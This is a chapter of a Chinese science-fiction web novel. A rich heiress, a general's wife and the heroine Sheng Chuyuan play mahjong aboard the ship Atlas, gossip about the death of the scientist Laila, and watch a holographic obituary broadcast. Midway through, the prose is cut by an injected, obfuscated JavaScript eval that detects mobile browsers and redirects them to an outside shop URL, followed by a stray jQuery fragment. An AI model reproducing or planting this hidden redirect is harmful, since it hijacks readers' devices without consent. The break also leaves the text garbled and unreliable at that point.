“还有没有天理,小祖宗,我跟您说噢,您就算问上一百个人,打哪儿的麻将,吃都只能吃上家!这可是老祖宗留下来的规矩!不能随便改的噢!”
那位敷着白面膜,顶了一头卷发棒,很不幸坐在她上家、被她肆意攻击的中年贵妇人不满地将面前的牌一推,用她那长达八厘米的红色甲片猛地戳着牌面,“喏喏,看到没啦,三个一万,三四五条,六七八筒,七八九万,单吊一张二筒,我胡牌了。”
“怎么可能!你肯定作弊了!”叶卡捷琳娜小姐撑着桌子“腾”地起立,竖着食指指指点点,“谁给你的胆子敢在我面前作弊,你知不知道我爸爸是哪个?议院的大……”
“大议长啦!谁不知道似的!”贵妇人也慢悠悠地站起来,施施然翻了个白眼,边用“红色尖爪”戳着脸颊,边嘀嘀咕咕着,“好啦,我不想再陪没断奶的大小姐过家家啦……不过该说不说,这前母星时代的面膜倒是挺舒服的,下次要不再换个黄瓜片儿试试。”
“我也不玩了,没意思,我去隔壁游戏社了,诸位再见,”那个明显是被拉过来凑角的小男孩将扭好的魔方往旁边一投,潇潇洒洒地晃出门去。
“这…这,大小姐啊,您瞅瞅,要不咱们今天就算了吧,一连换了七八桌了,您打着也不爽利。”腆着脸陪打大半天的麻将社分管员尴尬地搓着他的狐狸爪子,“咱们明天再……”
“不行,我命令你,现在再去找几个人过来,我偏要在今天打,现在!立刻!马上!”这位浑身上下没有一根头发丝与麻将馆相契合的大小姐盛气凌人地命令道。
话毕,她又突然想起什么似的,转头直勾勾地瞪向盛初沅他们,“对哦,看什么看,就你们,过来陪本小姐打麻将!”
盛初沅显然没有被她装模作样的怒吼吓到,反倒饶有兴味地将她和狐狸先生一块儿打量了一番,然后凑到埃斯特万耳边轻声问道:“埃斯特万先生,您说,阿特拉斯号上的员工,大部分都是进化动物吗?”
“不……不是,”感受到她的突然靠近,埃斯特万的耳根子全红了,他凭着导游本能磕磕巴巴道:“他们只是各…各游乐区的负…负责人,真正的高层,依…依旧是人类。”
“你们竟敢无视我?”金发碧眼如精致洋娃娃般的大小姐头一回收到此等冷遇,挑着眉插着腰,难以置信地质问道。
“怎么会呢?”得到答案后的盛初沅立马出言安抚道,“我来陪您打,您想吃对家就吃。不过我也有个要求,我们做大飞,输的三家无条件答应赢家一个要求,怎么样。”
“盛小姐,您别,我不会打麻将啊!”埃斯特万一听这话,赶紧可怜兮兮地表态道,“我连牌都认不全,我……”
“那又怎么样,本小姐也是第一天打,”叶卡捷琳娜傲慢地打断他,“答应就答应,大飞就大飞。”
“小祖宗,您知道大飞是什么吗?”在门口磨磨蹭蹭半天还没走掉的贵妇人闻言嗤笑道,“想也不想就答应,也不怕对面把您坑得倾家荡产噢。”
“你……你不打就给我滚出去,不要碍本小姐的眼!”叶卡捷琳娜气愤道,“我…我能不知道吗,丽萨,告诉她,什么是做大飞!”
被她点到的随行菲佣身体一颤,显然也是没有研习过这门博大精深的东方学问,“我…我……我不知道,小姐。”
“行了,您可别欺负小姑娘了。姐姐来告诉你噢,做大飞就是只胡大牌,全求人,七小对,碰碰胡,十三幺,清一色,杠上炮,您可小心一点噢,这一炮下去,可不得了的噢!”
贵妇人做了一个极其浮夸的爆炸动作,配上她此时白花花的脸蛋,显得还真像那么一回事,“好啦,我倒是想被您赶出去,可惜这儿明摆着三缺一啊。难得开一次大飞,这几个小伙子不打,我不打可不就浪费了嘛!”
“不过我可不想坐你上家了,”她说完便扭着腰坐到叶卡捷琳娜的对面,又向盛初沅抛了一个媚眼,“来吧,小姑娘,好久没跟别人做大飞了,怎么称呼啊?”
“我姓盛,您叫我小盛就好,”盛初沅绕到她下家的位置坐下,笑眯眯地将牌推进麻将桌里,“很高兴能与几位在同一张桌子上打牌,叶卡捷琳娜小姐,狐狸先生,还有……陈夫人。”
刚准备按下掷骰子按钮的陈宝琳微微一怔,随后露出一个意味深长的笑容:“盛小姐这是认识我呢?但我倒觉得盛小姐有些面生,您是城北盛家的哪一位小姐呢?”
“我是谁并不重要,您无需挂念,我也只是远远地见过您一眼,尊贵的将军夫人。”盛初沅向她眨眨眼,也按下了那个骰子,骰子如激烈心跳的鼓点,在透明罩子中疯狂旋转,“想不到我竟然会在阿特拉斯号上再见到您。”
“啊啦,什么将军夫人,我只是一个来度假的无聊中年妇女啦,”即使被点破身份,陈宝琳也不见恼,轻笑了一声后便开始摸牌,一边摸一边整,对着一堆搭不上边的牌直摇头,“不过,还好我来度假啦,现在留在天空城的人可有得闹啦!”
“你们昨晚也收到那条消息了?”叶卡捷琳娜盯着自己的牌思考了半晌,最后扔出了个六万。牌刚一出手,立马就被下家的狐狸先生吃掉了,她又忍不住发了一通闷气。
“那可不!”陈宝琳也吃了狐狸先生扔出来的幺鸡,又顺手送了盛初沅一张东风,“莱拉那小姑娘可真能闹腾,现在好了,把自己折进去了!所以说人呐,还是不要那么聪明为好,毕竟枪打出头鸟,你说是不是,盛小姐?”
阿特拉斯号上的任何一个角落都有其独特的创作巧思,即使是这个小小的麻将馆。
他们头顶的天花板早已被一片蓝色的鱼缸取代,里面两尾金灿灿的锦鲤摇曳着流光溢彩的尾巴,充当着两盏永远也不会熄灭的柔光灯。
浅黄色的光飘忽而过,映在陈宝琳的白色面膜上,使她看起来不像指点迷津的活佛,倒像是戏曲中的伶人——紧紧嵌在剧目中的那一环。
一丝不易察觉的紧张感爬上麻将桌,盛初沅突然想到了什么,微微笑出了声。她抬手拿起那张被所有人嫌弃的东风,轻轻启唇,“当然,陈夫人,我会记住的,碰。”
“不是吧,东风你也碰!”叶卡捷琳娜终于想起她面前的牌里还藏了张西风,立马像扔垃圾一样把它甩出去,“喏,这还有张西风,要不要!”
“还有,要我说,莱拉就是自己作的,我都不敢想我爸看到这个消息该有多开心!天知道他在家里挂了多少张莱拉的画像,每天的晨练活动都是扎着马步往她脸上扔飞镖。”她漫不经心地补充着先前的话题。
“那您父亲的身体可真不错,要是莱拉知道她有助于安德烈议长强身健体,一定会很高兴的。”盛初沅真心地表示道,“感谢您的施舍,但我不需要西风。”
“等会,您们说,莱拉女士怎么了!”原本站在一旁缩小存在感的埃斯特万听了老半天,终于忍不住了,“她……”
“她死啦!你们还不知道吗?母星上果真住着一群猴子,”叶卡捷琳娜毫无避讳地分享着今日头条,牌过了一圈,又轮到她了。
但她不要那张八筒,于是指挥着丽萨摸完牌给她递过来,“《寰宇日报》上都满天飞了,那句神神叨叨的话——Laylaisfallingintoheaven.死了就死了嘛,装神弄鬼,还设个定时程序,非得把全天空城的人都恶心一遍!”
“莱……莱拉死了?”埃斯特万仿佛从头到脚被死死钉穿在原地,他慌忙否认道:“不、不可能!莱拉女士怎么可能……”
“怎么不可能,整个星环都爆炸了噢,她没穿防护服,又在爆炸中心,立马就被炸成血雾了噢。小姑娘才24岁吧,哼哼,果真是天妒英才噢。”
陈宝琳颇为惋惜地摇摇头,又吃了一口狐狸先生打出的牌,“下一任负责人十有八九是智绘了吧?啧啧,那他们没几天好日子过咯。”
“他们”?星环他们?还是议院他们?
“那肯定,清道夫可是那两个家族的人,”叶卡捷琳娜翻了个白眼,“这两个家族没一个好东西,他们……”
“哼,您当然觉得没好东西咯!”陈宝琳立马阴阳怪气地讽刺道,“您三家共掌议院,那两家联了个姻,这不立马把您家架空了嘛!”
“你……!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527507|203585||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“好了好了,牌桌上不聊政治,”盛初沅笑眯眯地摸了一张牌,将它随意搁在牌尾,“那莱拉的忌日礼什么时候办?今晚吗?”
“快了吧!”陈宝琳抬手看了一眼终端,“哼哼,他们可不敢拖着,当然也不敢提前,母星上可全是她的信徒。估计到时候就开个全星投影,草草点个蜡什么的。哟,说曹操曹操到,这不就来了嘛!”
她话音刚落,一个蓝色的人头便从麻将桌中心冒了出来,活像一只被四周一圈麻将架在火上烤的大窑鸡。
这颗大窑鸡的脑袋表情悲伤而凝重,脸上似乎还挂着几滴泪珠。不过,鉴于他的脸和眼泪都是透明的,再卖力的表演也难免失了姿色,更像是黄鼠狼给鸡拜年——我要吃大窑鸡了。
“哎,爸爸!”叶卡捷琳娜立马惊呼出声,“您……”
大窑鸡并没有听到她的呼喊,只是清了清嗓子,郑重地张开嘴,发出了足以颠覆整个母星的讣告。
“各位,请允许我怀着沉重的心情,向大家宣布一个举世哀痛的消息。”
“我们伟大的星环研究所所长、引星计划负责人、赫利孔名誉教授、维里迪安家族话事人——莱拉·维里迪安女士,于昨晚九点四十八分,与我们永远告别了。”
“我知道这很突然,也知道大家可能无法接受。因此,现在,我,安德烈·罗曼诺夫,怀着最真切诚挚的情感,恳请大家,放下手中的事情,走到一个空旷的地方,为我们寰宇纪最伟大的莱拉女士,点上一炷长明香,愿她伟大的灵魂永不消亡,伟大的精神永不腐朽。”
“老天,他真做作,”陈宝琳慢悠悠地丢出手中的牌,似笑非笑地扫了一圈,“等会啦,打完这一盘。”
脱手而出的牌在空中滑出一个优美的抛物线,好巧不巧正正路过了安德烈先生投影的嘴部,然后顺着他的喉管落到腹中。
“盛小姐……”埃斯特万明显有些着急了,可桌上的客人们不动,他压根不敢先行离席。
“好啦,”盛初沅也不疾不徐地站起身,伸手去够那张过了一遍消化道的可怜麻将,“陈夫人,您说巧不巧,我胡了,碰碰胡。”
“怎么可能!你是不是作弊!”叶卡捷琳娜又喊出了先前那句话,“我告诉你,我爸爸可是……”
“大议长啦,喏,还在中间竖着呢!”陈宝琳倒不觉得奇怪,轻笑着打断她,手上的鸽子蛋耀眼得很,“盛小姐,您想要我为您做什么呢?”
“不着急,我想各位应该不会赖我账吧,”盛初沅已经将椅子推开,闻言眉眼弯弯地俯视着他们,“我可不想错过莱拉女士的忌日礼,说不定还有小周边发呢!埃斯特万先生,我们走啦!”
说着她便利落转身,领着失魂落魄的埃斯特万,走出了这个卧虎藏龙的麻将馆。
“她真的胡了?”叶卡捷琳娜不死心地扒拉着她立在桌上的牌,“我……”
“行了,小祖宗,十个你加起来都玩不过她,人家估计把我们所有人的牌都算到了,”陈宝琳“刷啦”一下撕开面膜,露出她藏在护肤乳液下的脸蛋,那双乌黑色的眼睛里不知道藏了些什么,“走啦,我们也去看看热闹。”
热闹,确实是热闹。窑鸡头头安德烈发布完公告后,阿特拉斯号也拉响了广播,呼吁全舰员工与乘客聚集到蜂巢中心广场,俨然是想借助投影技术开设一个忌日礼分会场。
盛初沅从未见过那么多人挤在一条大街上,仅仅几个呼吸间,她已经彻底看不到埃斯特万的身影了。
她被莫名其妙地推搡了好几次,在黑压压的人群中压根分不清东西南北。
她随意扫了几眼,评估了一会儿暴力翻墙的可行性,正准备现搓一个低空飞行器,一条强壮的手臂便从她的腰后伸来,以一种毋庸置疑的力度将她揽进怀中。
“盛小姐,原来您所说的参观,就是来参观忌日礼吗?”岑屿阴沉的声音在她耳边响起,吐出的热气舔舐着她的耳廓,裹着糖霜的威胁也紧随其后:“如果是这样的话,您倒不如乖乖和我回去,我早就为您准备了火锅。”
哎呀,真是一条不温和的建议。